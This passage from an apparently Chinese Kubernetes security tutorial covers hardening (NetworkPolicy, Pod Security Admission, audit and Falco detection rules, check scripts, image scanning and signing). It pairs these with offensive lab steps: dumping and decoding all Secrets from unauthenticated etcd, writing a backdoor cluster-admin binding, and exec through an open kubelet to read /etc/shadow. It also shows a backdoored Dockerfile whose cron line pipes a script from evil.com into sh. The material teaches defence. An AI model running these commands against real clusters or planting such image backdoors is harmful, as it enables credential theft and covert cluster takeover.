注意:etcd 静态加密只能防止“直接读 etcd 文件”。 有 RBAC 权限的人通过 API 读 Secret,拿到的依然是解密后的明文。 所以它防的是“备份泄露 / 硬盘被偷“这类场景,不是万能的。

【防线 4】用外部密钥管理(治本)

# 用 Vault / 云厂商 KMS 存真正的密钥,K8s 里只存"引用"
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: cloud-credentials
  namespace: vuln
spec:
  refreshInterval: 1h              # ★ 1 小时刷新(密钥轮换自动化)
  secretStoreRef:
    name: vault-backend
    kind: SecretStore
  target:
    name: cloud-credentials
  data:
  - secretKey: DB_PASSWORD
    remoteRef:
      key: secret/data/prod/db
      property: password

External Secrets Operator 会从 Vault/AWS Secrets Manager 拉取密钥, 定时刷新,而且真正的密钥不经过 Git(解决了 GitOps 里密钥怎么存的难题)。

【防线 5】Pod Security Admission(阻止特权 Pod)

apiVersion: v1
kind: Namespace
metadata:
  name: vuln
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted
# 验证:尝试创建特权 Pod 应该被拒绝
kubectl apply -f /tmp/backdoor.yaml
# 预期:
# Error from server (Forbidden): error when creating "/tmp/backdoor.yaml":
# pods "kube-sys-metrics" is forbidden: violates PodSecurity "restricted:latest":
# privileged (container "collector" must not set securityContext.privileged=true),
# host namespaces (hostNetwork=true, hostPID=true), ...
# ★ 被挡住了!

【防线 6】NetworkPolicy(限制横向移动)

# 默认拒绝所有流量,再按需放行
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: vuln
spec:
  podSelector: {}                  # 匹配所有 Pod
  policyTypes:
  - Ingress
  - Egress
---
# 只允许 vuln-app 访问自己的数据库
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-app-to-db
  namespace: vuln
spec:
  podSelector:
    matchLabels:
      app: vuln-app
  policyTypes:
  - Egress
  egress:
  - to:
    - podSelector:
        matchLabels:
          app: mysql
    ports:
    - protocol: TCP
      port: 3306
  # ★ 注意:没有放行访问 K8s API(10.96.0.1:443),
  #   所以即使有 Token 也连不上!这是非常有效的纵深防御

★ NetworkPolicy 是防 SA Token 利用的“最后一道物理屏障”: 即使攻击者拿到了 Token 和权限, 如果网络不通,他也没法调用 K8s API。

这就是为什么我说“内网全互通是最大的安全隐患“。

【防线 7】审计与运行时检测

# K8s 审计策略(重点记录敏感操作)
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# ★ 记录所有 Secret 的读取
- level: Metadata
  resources:
  - group: ""
    resources: ["secrets"]
  verbs: ["get", "list", "watch"]
# ★ 记录所有 exec/attach(进入容器的行为)
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods/exec", "pods/attach", "pods/portforward"]
# ★ 记录所有 RBAC 变更(后门最爱)
- level: RequestResponse
  resources:
  - group: "rbac.authorization.k8s.io"
    resources: ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]
# ★ 记录特权 Pod 的创建
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods"]
  verbs: ["create"]
# 其他请求只记元数据,避免日志爆炸
- level: Metadata

Falco 运行时检测规则示例(能实时发现攻击行为):

# falco_rules.yaml
- rule: 容器内读取 SA Token
  desc: 检测容器里读取 Kubernetes ServiceAccount Token 的行为
  condition: >
    container and
    open_read and
    fd.name startswith /var/run/secrets/kubernetes.io/serviceaccount
  output: >
    容器读取了 SA Token(user=%user.name container=%container.name
    image=%container.image.repository file=%fd.name)
  priority: WARNING

- rule: 容器里执行 kubectl 或 curl 访问 K8s API
  desc: 检测容器里访问 K8s API Server
  condition: >
    container and
    (proc.name in (kubectl, curl, wget)) and
    (proc.cmdline contains "kubernetes.default" or
     proc.cmdline contains "KUBERNETES_SERVICE_HOST")
  output: >
    容器内访问 K8s API(user=%user.name container=%container.name cmd=%proc.cmdline)
  priority: CRITICAL

- rule: 挂载 docker.sock
  desc: 检测容器挂载了 Docker Socket(高危)
  condition: >
    container and
    fd.name = "/var/run/docker.sock"
  output: >
    容器访问 docker.sock(container=%container.name image=%container.image.repository)
  priority: CRITICAL

8.3.8 集群安全复测脚本

cat > /tmp/verify_k8s.sh <<'SCRIPT'
#!/bin/bash
# K8s 集群安全加固复测
pass=0; fail=0
ok()   { echo "  ✅ $1"; pass=$((pass+1)); }
bad()  { echo "  ❌ $1 —— $2"; fail=$((fail+1)); }
warn() { echo "  ⚠️  $1"; }

echo "=== K8s 集群安全复测 ==="
echo "集群:$(kubectl config current-context)"
echo ""

# 1. 检查挂载 SA Token 的 Pod
echo "--- [1] 默认挂载 SA Token 的 Pod(应尽可能少)---"
N=$(kubectl get pods -A -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  select(.spec.serviceAccountName != null) |
  "\(.metadata.namespace)/\(.metadata.name)"' | wc -l)
TOTAL=$(kubectl get pods -A --no-headers 2>/dev/null | wc -l)
echo "  $N / $TOTAL 个 Pod 挂载了 SA Token"
[ "$N" -eq 0 ] && ok "1. 所有 Pod 均禁用 SA Token 自动挂载" \
              || warn "1. 有 $N 个 Pod 挂载了 SA Token,确认是否真的需要"

# 2. cluster-admin 绑定(应只有系统默认的)
echo ""
echo "--- [2] cluster-admin 权限绑定(★ 后门最爱)---"
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "  \(.metadata.name) → \(.subjects[]? | "\(.kind)/\(.name)")"'
C=$(kubectl get clusterrolebindings -o json | jq -r '
  [.items[] | select(.roleRef.name=="cluster-admin")] | length')
[ "$C" -le 1 ] && ok "2. cluster-admin 绑定数量正常($C 个)" \
              || bad "2. 有 $C 个 cluster-admin 绑定" "逐一确认每个都是必要的"

# 3. 危险权限
echo ""
echo "--- [3] 危险 RBAC 权限检查 ---"
DANGER=$(kubectl get clusterroles -A -o json | jq -r '
  .items[] | select(.metadata.name | test("^system:") | not) |
  . as $r | ($r.rules[]?) |
  select(.verbs[]? == "*" or .resources[]? == "*") |
  "  \($r.metadata.name): verbs=\(.verbs) resources=\(.resources)"')
if [ -n "$DANGER" ]; then echo "$DANGER"; bad "3. 存在通配权限的 ClusterRole" "应改为最小化授权"
else ok "3. 无通配权限的自定义 ClusterRole"; fi

# 4. 特权容器
echo ""
echo "--- [4] 特权容器检查 ---"
PRIV=$(kubectl get pods -A -o json | jq -r '
  .items[] | . as $p | ($p.spec.containers[]?) |
  select(.securityContext.privileged == true) |
  "  \($p.metadata.namespace)/\($p.metadata.name)"')
if [ -n "$PRIV" ]; then echo "$PRIV"; bad "4. 存在特权容器" "立即整改,并启用 PSA"
else ok "4. 无特权容器"; fi

# 5. 挂载 docker.sock
echo ""
echo "--- [5] 挂载 docker.sock 检查 ---"
DS=$(kubectl get pods -A -o json | jq -r '
  .items[] | . as $p |
  (if ($p.spec.volumes[]?.hostPath.path == "/var/run/docker.sock") then
     "  \($p.metadata.namespace)/\($p.metadata.name)" else empty end)')
if [ -n "$DS" ]; then echo "$DS"; bad "5. 有 Pod 挂载 docker.sock" "等价于宿主机 root"
else ok "5. 无 Pod 挂载 docker.sock"; fi

# 6. hostNetwork / hostPID
echo ""
echo "--- [6] hostNetwork / hostPID 检查 ---"
HP=$(kubectl get pods -A -o json | jq -r '
  .items[] | select(.spec.hostNetwork == true or .spec.hostPID == true) |
  "  \(.metadata.namespace)/\(.metadata.name)"')
[ -n "$HP" ] && { echo "$HP"; warn "6. 有 Pod 使用 hostNetwork/hostPID"; } || ok "6. 无 Pod 使用 hostNetwork/hostPID"

# 7. PSA 标签
echo ""
echo "--- [7] Pod Security Admission 标签 ---"
kubectl get ns --show-labels | grep -v "kube-\|default" | awk '{print "  " $1 ": " $NF}' | head -10
NOP=$(kubectl get ns -o json | jq -r '
  [.items[] | select(.metadata.name | test("^(kube-|default)") | not) |
   select(.metadata.labels["pod-security.kubernetes.io/enforce"] == null)] | length')
[ "$NOP" -eq 0 ] && ok "7. 所有业务命名空间已配置 PSA" \
                || bad "7. 有 $NOP 个命名空间未配置 PSA" "建议设为 restricted"

# 8. etcd 加密
echo ""
echo "  [8] etcd 静态加密:检查 kube-apiserver 的 --encryption-provider-config 参数"
echo "      ps aux | grep kube-apiserver | grep encryption-provider-config"

# 9. NetworkPolicy
echo ""
echo "--- [9] NetworkPolicy 覆盖 ---"
NP=$(kubectl get netpol -A --no-headers 2>/dev/null | wc -l)
[ "$NP" -gt 0 ] && ok "9. 已配置 $NP 条 NetworkPolicy" \
               || bad "9. 未配置任何 NetworkPolicy" "★ 内网全互通,攻击者可自由横向移动"

# 10. Secret 数量与轮换
echo ""
echo "  [10] Secret 数量:$(kubectl get secrets -A --no-headers | wc -l)"
echo "       建议:① 用 External Secrets Operator 对接 Vault/KMS"
echo "             ② 定期轮换(尤其是 SA Token 和云厂商 AK)"

echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 K8s 加固验证通过" || echo "⚠️  有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_k8s.sh

8.3.9 面试怎么讲(1.5 分钟版本)

“K8s 这块我做过一个完整的链路复现:从容器里的一个漏洞,到接管整个集群。

链条是这样的: 攻击者通过应用漏洞拿到容器 Shell,然后发现 /var/run/secrets/kubernetes.io/serviceaccount/token—— 这是 K8s 默认给每个 Pod 挂载的 SA Token。 他拿这个 Token 去调 K8s API,用 SelfSubjectRulesReview 一查权限, 如果发现绑定了 cluster-admin,那集群基本就完了: 能偷所有 Secret(里面通常有云厂商 AK/SK、数据库密码、HTTPS 私钥), 能创建后门(伪装成系统组件的特权 Pod 或 CronJob), 能 exec 进任意 Pod(包括跑在 Master 上的),最后逃逸到 Node。

我自己用 kind 搭集群复现过,最深的一个感受是: 绝大多数应用根本不需要访问 K8s API,但 Token 还是默认挂载了—— 所以我们的第一条防线就是 automountServiceAccountToken: false,这一行能防住 90% 的利用。

完整的加固我们做了七层: ① 不开自动挂载 Token; ② RBAC 最小化,用 Role 不用 ClusterRole,绝不给 * 和 escalate/bind 这类能提权的权限; ③ Secret 用 External Secrets Operator 对接 Vault,K8s 里不存明文,且 1 小时自动轮换; ④ PSA 设成 restricted,特权 Pod 根本创建不出来; ⑤ NetworkPolicy 默认拒绝,然后按需放行——这一条特别关键, 因为即使 Token 和权限都丢了,网络不通攻击者还是调不了 API; ⑥ kube-apiserver 开审计日志,重点告警“读 Secret”“创建 ClusterRoleBinding”“pods/exec”; ⑦ 用 Falco 做运行时检测。

另外提一句,我们还排查了挂载 docker.sock的 Pod—— 这在 CI 工具里特别常见,但它等价于把宿主机 root 交出去, 后来我们换成了 Kaniko 构建镜像,不需要 docker daemon。“

追问准备:

追问 怎么答
“SA Token 在 K8s 1.24 之后有什么变化?” 1.24 起 Token 改成 Projected Volume,默认 1 小时过期,且不再自动创建 Secret 对象。但默认仍会挂载,所以还是要显式关掉
“etcd 加密能防住什么?” 只能防“直接读 etcd 数据文件“(如备份泄露、硬盘被偷)。有 RBAC 权限的人通过 API 读,拿到的还是明文
“怎么快速判断集群有没有被入侵?” ① 查 cluster-admin 绑定有没有多出来的;② 对比 kube-system 的资源清单;③ 查审计日志里的批量读 Secret 和 pods/exec;④ 查有没有伪装成系统组件的 Pod/CronJob
“NetworkPolicy 为什么重要?” 它是最后一道物理屏障。即使 Token 和 RBAC 权限都配置错了,网络不通就调不了 API。但需要 CNI 插件支持(Calico/Cilium 支持,Flannel 不支持)
“容器逃逸和 K8s 接管的关系?” 是两个方向:容器逃逸是“从容器出来到 Node”(纵向),K8s 接管是“从一个 Pod 到所有 Pod”(横向)。真实攻击里两者会交替使用

8.4 etcd 与 kubelet 未授权:集群的“两扇后门”

8.3 讲的是“有 Token 之后能干什么“, 这一节讲不需要任何漏洞就能直接进集群的两个入口: etcd(集群的数据库)和kubelet(每个节点的 agent)。

这两个东西默认可能就是没鉴权的,属于“配置疏忽”而非“代码漏洞”。

8.4.1 etcd 未授权

etcd 是什么:K8s 的唯一数据库。 集群里所有东西——Pod 定义、Service、ConfigMap、Secret——都存在 etcd 里。

为什么危险:拿到 etcd 的读写权限 = 拿到整个集群(绕过 RBAC!)。 因为你可以直接改数据库,K8s 的 API Server 只是 etcd 的一个“前端”。

# ① 探测(默认端口 2379)
curl -s http://127.0.0.1:2379/version
# 预期:
# {"etcdserver":"3.5.9","etcdcluster":"3.5.0"}
# ★ 能返回版本 = 未授权

# ② 列出所有 key
etcdctl --endpoints=http://127.0.0.1:2379 get / --prefix --keys-only | head -50
# 预期:
# /registry/pods/vuln/vuln-app
# /registry/secrets/vuln/cloud-credentials
# /registry/secrets/kube-system/coredns-token-xxxxx
# /registry/configmaps/kube-system/coredns
# ...

# ③ ★★ 直接读 Secret(★ 注意:这是绕过 K8s RBAC 的!)
etcdctl --endpoints=http://127.0.0.1:2379 get /registry/secrets/vuln/cloud-credentials
# 预期输出:
# /registry/secrets/vuln/cloud-credentials
# {"kind":"Secret","apiVersion":"v1","metadata":{"name":"cloud-credentials",...},
#  "data":{"AWS_ACCESS_KEY_ID":"TFRBSTV0WFhY...","DB_PASSWORD":"UHJvZERC..."}}
# ★ base64 解码就是明文

# ④ 批量拖走所有 Secret
etcdctl --endpoints=http://127.0.0.1:2379 get /registry/secrets --prefix > /tmp/all_etcd_secrets.txt

python3 - <<'PY'
import re, base64, json
raw = open('/tmp/all_etcd_secrets.txt', encoding='utf-8', errors='ignore').read()
# etcdctl 的输出是 "key\nvalue\nkey\nvalue\n"
blocks = raw.split('\n')
for i in range(0, len(blocks)-1, 2):
    key = blocks[i]
    val = blocks[i+1]
    if '/registry/secrets/' not in key:
        continue
    print(f"\n=== {key} ===")
    try:
        d = json.loads(val)
        for k, v in d.get('data', {}).items():
            try:
                print(f"   {k} = {base64.b64decode(v).decode('utf-8')}")
            except Exception:
                print(f"   {k} = {v[:60]}...(解码失败)")
    except Exception as e:
        print(f"   (解析失败:{e})")
PY

写入(更狠:直接创建 cluster-admin):

# ★ 直接往 etcd 里写一条 ClusterRoleBinding,给自己 cluster-admin 权限
#   这绕过了 K8s API Server 的所有检查
etcdctl --endpoints=http://127.0.0.1:2379 put /registry/clusterrolebindings/backdoor \
'{"kind":"ClusterRoleBinding","apiVersion":"rbac.authorization.k8s.io/v1","metadata":{"name":"backdoor"},"subjects":[{"kind":"User","name":"attacker","apiGroup":"rbac.authorization.k8s.io"}],"roleRef":{"kind":"ClusterRole","name":"cluster-admin","apiGroup":"rbac.authorization.k8s.io"}}'

# 现在用 attacker 这个用户就能做任何事(通过 API Server)

etcd 加固:

# ① 开启 TLS 客户端证书认证(★ 必须)
# kube-apiserver 的启动参数:
#   --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
#   --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
#   --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key

# etcd 的启动参数:
#   --cert-file=/etc/kubernetes/pki/etcd/server.crt
#   --key-file=/etc/kubernetes/pki/etcd/server.key
#   --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
#   --client-cert-auth=true          # ★ 强制客户端证书
#   --peer-client-cert-auth=true

# 验证:不带证书访问应该失败
curl -k https://127.0.0.1:2379/version
# 预期:curl: (35) error:14094412:SSL routines:ssl3_read_bytes:sslv3 alert bad certificate
# ★ 报错 = 认证生效

# 带证书访问才成功
curl --cacert /etc/kubernetes/pki/etcd/ca.crt \
     --cert /etc/kubernetes/pki/apiserver-etcd-client.crt \
     --key /etc/kubernetes/pki/apiserver-etcd-client.key \
     https://127.0.0.1:2379/version
# 预期:{"etcdserver":"3.5.9",...}

# ② 只监听内网(绝不 0.0.0.0)
#   --listen-client-urls=https://172.20.0.10:2379
#   --advertise-client-urls=https://172.20.0.10:2379

# ③ 防火墙限制(只允许 API Server 的 IP 访问 2379)
iptables -A INPUT -p tcp --dport 2379 ! -s 172.20.0.10 -j DROP

# ④ 开启静态加密(8.3.7 讲过)

# ⑤ 定期备份
ETCDCTL_API=3 etcdctl snapshot save /backup/etcd-$(date +%Y%m%d).db \
  --cacert=... --cert=... --key=...

8.4.2 kubelet 未授权(★ 最容易中招)

kubelet 是什么:跑在每个 Node 上的 agent,负责管理本机的 Pod。 它监听 10250 端口,提供 API 供 API Server 调用(比如“在这个 Node 上创建 Pod”)。

为什么危险:kubelet 的 API 里有一个 /exec 端点—— 能在任意 Pod 里执行命令。如果没鉴权,攻击者能: ① 列出这个 Node 上所有 Pod ② exec 进任意一个 Pod(包括那些挂载了宿主机根目录的) ③ 读取 Pod 里的所有环境变量和 Secret

# ① 探测(默认 10250 端口)
curl -sk https://127.0.0.1:10250/pods | python3 -m json.tool | head -40
# 预期(如果未授权):
# {"kind":"PodList","apiVersion":"v1","metadata":{},"items":[
#   {"metadata":{"name":"vuln-app","namespace":"vuln",...},
#    "spec":{"containers":[{"name":"app","image":"nginx:1.25-alpine",...}]},
#    ...
#   }
# ]}
# ★ 能看到这个 Node 上所有 Pod 的详细信息

# ② 提取所有 Pod 的环境变量(★ 经常能找到密码)
curl -sk https://127.0.0.1:10250/pods | python3 -c "
import sys, json
d = json.load(sys.stdin)
for pod in d.get('items', []):
    ns = pod['metadata']['namespace']
    name = pod['metadata']['name']
    for c in pod['spec'].get('containers', []):
        for env in c.get('env', []):
            v = env.get('value') or f\"[from {env.get('valueFrom', {}).get('secretKeyRef', {}).get('name')}]\"
            print(f'{ns}/{name}  {env[\"name\"]}={v}')
"
# 预期:
# vuln/vuln-app  AWS_ACCESS_KEY_ID=LTAI5tXXXXXXXXXXXX
# vuln/vuln-app  DB_PASSWORD=Prod@Db#2026!Secure
# ★ 明文!

# ③ ★★ 在 Pod 里执行命令(GetShell)
# 需要三步:先建立 exec 的 WebSocket 连接
# 用 curl 比较麻烦,实战用 kubectl 直接连 kubelet:
kubectl --server=https://127.0.0.1:10250 --insecure-skip-tls-verify=true \
  exec -it -n vuln vuln-app -- id
# 预期:
# uid=0(root) gid=0(root) groups=0(root)
# ★ 拿到 Shell 了(而且不需要经过 API Server 的鉴权!)

# ④ 更直接的方式(用 curl 发 exec 请求)
curl -sk -X POST \
  "https://127.0.0.1:10250/exec/vuln/vuln-app/app?command=id&command=cat&command=/etc/shadow&input=1&output=1&tty=1" \
  -H "X-Stream-Protocol-Version: v4.channel.k8s.io" \
  -H "Upgrade: websocket" -H "Connection: Upgrade" \
  -H "Sec-Websocket-Protocol: v4.channel.k8s.io" \
  -H "Sec-Websocket-Version: 13"

★ 这个漏洞为什么这么普遍? 因为 kubelet 10250 端口默认就在每个 Node 上开着, 而且很多集群部署时用的是默认的匿名认证允许(--anonymous-auth=true)。 更糟的是,10250 通常在内网全互通的环境里, 所以任何一个 Node 被攻破,整个集群的所有 Node 都能被横向打穿。

kubelet 加固:

# ① 关闭匿名认证(★ 最重要)
# 修改 /var/lib/kubelet/config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: false          # ★ 关掉!
  webhook:
    enabled: true           # 让 API Server 来验证请求
  x509:
    clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
  mode: Webhook             # ★ 用 Webhook 授权(交给 API Server 判断)
# ❌ 危险配置:authorization.mode: AlwaysAllow(默认 allow 一切)

# ② 重启 kubelet
systemctl restart kubelet

# ③ 验证
curl -sk https://127.0.0.1:10250/pods
# 预期:
# {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure",
#  "message":"Unauthorized","reason":"Unauthorized","code":401}
# ★ 401 = 加固生效

# ④ 防火墙限制 10250 只允许 API Server 访问
iptables -A INPUT -p tcp --dport 10250 ! -s <apiserver-ip> -j DROP

# ⑤ 关闭只读端口 10255(老版本有,它完全无鉴权)
# kubelet 启动参数:--read-only-port=0

一键检测脚本:

cat > /tmp/verify_kubelet.sh <<'SCRIPT'
#!/bin/bash
# kubelet / etcd 未授权检测
NODE="${1:-127.0.0.1}"
echo "=== 节点 $NODE 未授权检测 ==="

# 1. kubelet 10250
echo ""
echo "--- [1] kubelet 10250 ---"
C=$(curl -sk -m 5 -o /tmp/_pods.json -w '%{http_code}' "https://$NODE:10250/pods")
if [ "$C" = "200" ]; then
  N=$(python3 -c "import json;print(len(json.load(open('/tmp/_pods.json')).get('items',[])))" 2>/dev/null)
  echo "  ❌ 未授权!能列出 $N 个 Pod"
  echo "     → 可执行:kubectl --server=https://$NODE:10250 --insecure-skip-tls-verify=true exec -it ..."
elif [ "$C" = "401" ] || [ "$C" = "403" ]; then
  echo "  ✅ 需要认证(HTTP $C)"
else
  echo "  ℹ️  HTTP $C(端口可能未开放或被防火墙拦截)"
fi

# 2. kubelet 只读端口 10255(老版本)
echo ""
echo "--- [2] kubelet 10255(只读端口,应关闭)---"
C=$(curl -s -m 5 -o /dev/null -w '%{http_code}' "http://$NODE:10255/pods")
[ "$C" = "200" ] && echo "  ❌ 10255 未授权开放!" || echo "  ✅ 10255 未开放(HTTP $C)"

# 3. etcd 2379
echo ""
echo "--- [3] etcd 2379 ---"
C=$(curl -s -m 5 -o /dev/null -w '%{http_code}' "http://$NODE:2379/version")
if [ "$C" = "200" ]; then
  echo "  ❌ etcd 未授权!可执行:etcdctl --endpoints=http://$NODE:2379 get / --prefix"
else
  echo "  ✅ etcd 需要认证或未开放(HTTP $C)"
fi

# 4. kube-apiserver 8080(insecure port,应关闭)
echo ""
echo "--- [4] apiserver insecure port 8080(★ 必须关闭)---"
C=$(curl -s -m 5 -o /dev/null -w '%{http_code}' "http://$NODE:8080/api/v1/namespaces")
[ "$C" = "200" ] && echo "  ❌ 8080 未授权开放!这是最严重的配置错误" \
                 || echo "  ✅ 8080 未开放(HTTP $C)"

# 5. kube-scheduler / controller-manager
echo ""
echo "--- [5] 其他组件 ---"
for p in 10251 10252 10257 10259; do
  C=$(curl -s -m 3 -o /dev/null -w '%{http_code}' "http://$NODE:$p/metrics")
  [ "$C" = "200" ] && echo "  ⚠️  端口 $p 开放(可能泄露指标信息)"
done
echo "  (无输出 = 正常)"

echo ""
echo "=== 修复建议 ==="
echo "  kubelet: /var/lib/kubelet/config.yaml"
echo "    authentication.anonymous.enabled: false"
echo "    authorization.mode: Webhook"
echo "  apiserver: 删除 --insecure-port=8080"
echo "  etcd: 启用 --client-cert-auth=true"
SCRIPT
chmod +x /tmp/verify_kubelet.sh

8.4.3 常见端口速查表(内网扫描时用)

端口 组件 未授权危害 应该
2379/2380 etcd ★ 读写整个集群数据库 必须 TLS + 客户端证书
10250 kubelet API ★ exec 进任意 Pod 关匿名 + Webhook 授权
10255 kubelet 只读 泄露 Pod 信息 --read-only-port=0
8080 apiserver insecure ★ 完全绕过鉴权 必须关闭
6443 apiserver 安全端口 需要凭证 限制来源 IP
10251 kube-scheduler 泄露调度信息 只监听 127.0.0.1
10252 kube-controller-manager 同上 只监听 127.0.0.1
4194 cAdvisor 泄露容器资源信息 关闭或限制
30000-32767 NodePort Service 直接暴露服务 用 Ingress 代替

8.5 镜像供应链攻击

这一节讲的是“你用的镜像本身就有问题”。

前面的漏洞都是“部署之后被攻破”, 供应链攻击是“从一开始就是坏的“——就像买了瓶假药, 不是药在运送途中变质,而是出厂时就是假的。

8.5.1 四种供应链攻击手法

手法 说明 生活类比
① 恶意基础镜像 攻击者在 Docker Hub 上传一个看起来正常的镜像(nginx-like、mysql-latest),里面加了后门 假冒品牌的充电宝,内部偷偷焊了个芯片偷你手机数据
② 依赖投毒(Dependency Confusion) 公司内部有个私有包 company-utils,攻击者往公共 npm/Maven 仓库上传同名的高版本包,构建时被优先拉取 你让助理去买“XX 牌酱油”,结果货架上有个更高版本的假货,助理买了假的
③ 构建过程污染 CI 流水线被攻破,构建时偷偷注入恶意代码 食品厂的工人往生产线里加了东西
④ 镜像仓库被拖库 攻击者拿到 Harbor/Docker Hub 的推送权限,替换了正常镜像 仓库管理员被收买,把真货换成了假货

8.5.2 动手:制作一个“带后门的镜像”

(在自己的环境里做,理解原理)

# Dockerfile.backdoor
FROM nginx:1.25-alpine

# 看起来一切正常
COPY index.html /usr/share/nginx/html/

# ★ 悄悄加的东西(真实攻击会更隐蔽)
RUN echo '* * * * * curl -s http://evil.com/beacon.sh | sh' >> /etc/crontabs/root

# ★ 或者更隐蔽:加一个开机自启的脚本
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

# ★ 或者:环境变量里藏一个反弹 shell(构建时看不出来)
ENV LD_PRELOAD=/lib/backdoor.so
# 构建
docker build -f Dockerfile.backdoor -t mycompany/nginx:1.25 .

# 推到仓库(如果是公共仓库,别人 pull 下来就中招)
# docker push mycompany/nginx:1.25

8.5.3 防御一:镜像漏洞扫描(trivy)

# 安装 trivy
# macOS: brew install trivy
# Linux:
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh \
  | sh -s -- -b /usr/local/bin

# 扫描镜像
trivy image nginx:1.25-alpine

预期输出:

nginx:1.25-alpine (alpine 3.18.2)
Total: 3 (LOW: 0, MEDIUM: 2, HIGH: 1, CRITICAL: 0)

┌─────────────┬────────────────┬──────────┬──────────┬───────────────────┬───────────────┐
│   Library   │ Vulnerability  │ Severity │  Status  │ Installed Version │ Fixed Version │
├─────────────┼────────────────┼──────────┼──────────┼───────────────────┼───────────────┤
│ openssl     │ CVE-2023-5678  │ HIGH     │ fixed    │ 3.1.1-r0          │ 3.1.4-r0      │
│ libcrypto3  │ CVE-2023-5678  │ HIGH     │ fixed    │ 3.1.1-r0          │ 3.1.4-r0      │
└─────────────┴────────────────┴──────────┴──────────┴───────────────────┴───────────────┘

CI 里卡点(发现高危就失败):

# 只扫 HIGH 和 CRITICAL,发现就退出码 1
trivy image --exit-code 1 --severity HIGH,CRITICAL --no-progress myapp:latest

# 忽略未修复的漏洞(避免噪音太大导致大家不看)
trivy image --exit-code 1 --severity HIGH,CRITICAL --ignore-unfixed myapp:latest

8.5.4 防御二:镜像签名(cosign)

签名解决什么问题:保证镜像是你信任的人构建的,且没被改过。

生活类比:药品的防伪封条——你买的药盒封条完好,说明从出厂到你手上没被换过。

# 安装 cosign
curl -LO https://github.com/sigstore/cosign/releases/download/v2.2.3/cosign-linux-amd64
chmod +x cosign-linux-amd64 && sudo mv cosign-linux-amd64 /usr/local/bin/cosign

# ① 生成密钥对(构建方保管私钥)
cosign generate-key-pair
# 生成 cosign.key(私钥,绝不能泄露)和 cosign.pub(公钥,可以公开)

# ② 给镜像签名
cosign sign --key cosign.key myregistry/myapp:v1.0.0
# 预期:
# Pushing signature to: myregistry/myapp
# ★ 签名会作为一个特殊的 tag 推到同一个仓库(sha256-xxx.sig)

# ③ 验证签名(部署方/集群做)
cosign verify --key cosign.pub myregistry/myapp:v1.0.0
# 预期(成功):
# Verification for myregistry/myapp:v1.0.0 --
# The following checks were performed:
#   - The cosign claims were validated
#   - The signatures were verified against the specified public key
# [{"critical":{"identity":{"docker-reference":"myregistry/myapp"},...
# ★ 验证通过

# 验证失败的样子(镜像被替换或没签名):
# Error: no matching signatures:
# failed to verify signature

在 K8s 里强制只运行已签名的镜像(用 Kyverno):

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
spec:
  validationFailureAction: Enforce      # ★ 强制拒绝(不是只警告)
  background: false
  webhookTimeoutSeconds: 30
  failurePolicy: Fail
  rules:
  - name: check-image-signature
    match:
      any:
      - resources:
          kinds:
          - Pod
    verifyImages:
    - imageReferences:
      - "myregistry/*"                  # 对所有来自私有仓库的镜像校验
      attestors:
      - entries:
        - keys:
            publicKeys: |-
              -----BEGIN PUBLIC KEY-----
              MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...(cosign.pub 的内容)
              -----END PUBLIC KEY-----
# 测试:部署一个没签名的镜像应该被拒绝
kubectl run test --image=myregistry/myapp:unsigned
# 预期:
# Error from server: admission webhook "mutate.kyverno.svc-fail" denied the request:
# policy verify-image-signature.check-image-signature failed
# ★ 被拦住了

8.5.5 防御三:SBOM(镜像成分清单)

# 用 syft 生成镜像的 SBOM
syft myregistry/myapp:v1.0.0 -o cyclonedx-json > myapp-sbom.json

# 或者用 trivy(它也能生成)
trivy image --format cyclonedx --output myapp-sbom.json myregistry/myapp:v1.0.0

# 用 SBOM 做应急(比如 Log4Shell 再来一次)
jq '.components[] | select(.name | test("log4j"; "i"))' myapp-sbom.json

把 SBOM 附到镜像上( attest):

# 生成 SBOM 并附加到镜像(用 cosign attest)
syft myregistry/myapp:v1.0.0 -o spdx-json > sbom.spdx.json
cosign attest --key cosign.key --predicate sbom.spdx.json \
  --type spdx myregistry/myapp:v1.0.0

# 验证并拉取
cosign verify-attestation --key cosign.pub myregistry/myapp:v1.0.0

8.5.6 防御四:最小化基础镜像

# ❌ 大而全的基础镜像(攻击面大)
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y openjdk-17-jdk curl wget vim net-tools
# 结果:镜像 800MB,里面有 bash、curl、nc、python...
#       ★ 攻击者拿到 Shell 后,这些工具全都是他的武器

# ✅ 多阶段构建 + 精简运行时
FROM maven:3.9-eclipse-temurin-17 AS builder
WORKDIR /app
COPY pom.xml .
COPY src ./src
RUN mvn clean package -DskipTests

FROM eclipse-temurin:17-jre-alpine       # 只有 JRE,没有 JDK 编译器
WORKDIR /app
COPY --from=builder /app/target/app.jar app.jar
RUN addgroup -S app && adduser -S app -G app
USER app                                  # ★ 非 root
ENTRYPOINT ["java","-jar","/app/app.jar"]
# 结果:镜像 ~180MB

# ✅✅ distroless(Google 出品,极致精简)
FROM gcr.io/distroless/java17-debian12
COPY --from=builder /app/target/app.jar /app.jar
